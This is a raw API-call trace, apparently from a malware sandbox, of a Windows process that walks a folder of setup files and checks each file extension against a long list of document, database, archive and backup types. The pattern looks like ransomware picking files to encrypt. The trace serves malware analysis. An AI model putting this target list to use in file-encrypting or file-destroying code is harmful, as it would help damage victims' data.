	[0082.754] wcsstr (_Str=".dxf", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".dgn", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".stl", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".gho", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".v2i", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".3ds", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".ppt", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".acc", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".vpd", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".odt", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".ods", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".rar", _SubStr=".msi") returned 0x0
	[0082.754] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.754] wcsstr (_Str=".zip", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".cpp", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".pas", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".asm", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".rtf", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".lic", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".avi", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".mov", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".mp3", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".vbs", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".v8i", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".erf", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".epf", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".mxl", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".cfu", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".mht", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".bak", _SubStr=".msi") returned 0x0
	[0082.755] _wcslwr (in: _String=0x3173afc | out: _String=".msi") returned=".msi"
	[0082.755] wcsstr (_Str=".old", _SubStr=".msi") returned 0x0
	[0082.755] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x13148, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1
	[0082.755] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.755] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".bak", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".bat", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".doc", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".jpg", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".jpe", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".txt", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".tex", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".dbf", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".xls", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".cry", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".xml", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".vsd", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".pdf", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".csv", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".bmp", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".tif", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".1cd", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".tax", _SubStr=".exe") returned 0x0
	[0082.756] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.756] wcsstr (_Str=".gif", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".gbr", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".png", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".mdb", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".mdf", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".sdf", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".dwg", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".dxf", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".dgn", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".stl", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".gho", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".v2i", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".3ds", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".ppt", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".acc", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".vpd", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".odt", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".ods", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".rar", _SubStr=".exe") returned 0x0
	[0082.757] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.757] wcsstr (_Str=".zip", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".cpp", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".pas", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".asm", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".rtf", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".lic", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".avi", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".mov", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".mp3", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".vbs", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".v8i", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".erf", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".epf", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".mxl", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".cfu", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".mht", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".bak", _SubStr=".exe") returned 0x0
	[0082.758] _wcslwr (in: _String=0x3173aee | out: _String=".exe") returned=".exe"
	[0082.758] wcsstr (_Str=".old", _SubStr=".exe") returned 0x0
	[0082.758] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0xc5158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupEngine.dll", cAlternateFileName="SETUPE~1.DLL")) returned 1
	[0082.759] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.759] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.759] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.759] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.760] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0082.760] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.761] _wcslwr (in: _String=0x3173afa | out: _String=".dll") returned=".dll"
	[0082.761] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0082.761] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x48150, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupUi.dll", cAlternateFileName="")) returned 1
	[0082.762] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0082.762] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.762] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0082.762] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0082.763] _wcslwr (in: _String=0x3173af2 | out: _String=".dll") returned=".dll"
	[0082.763] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
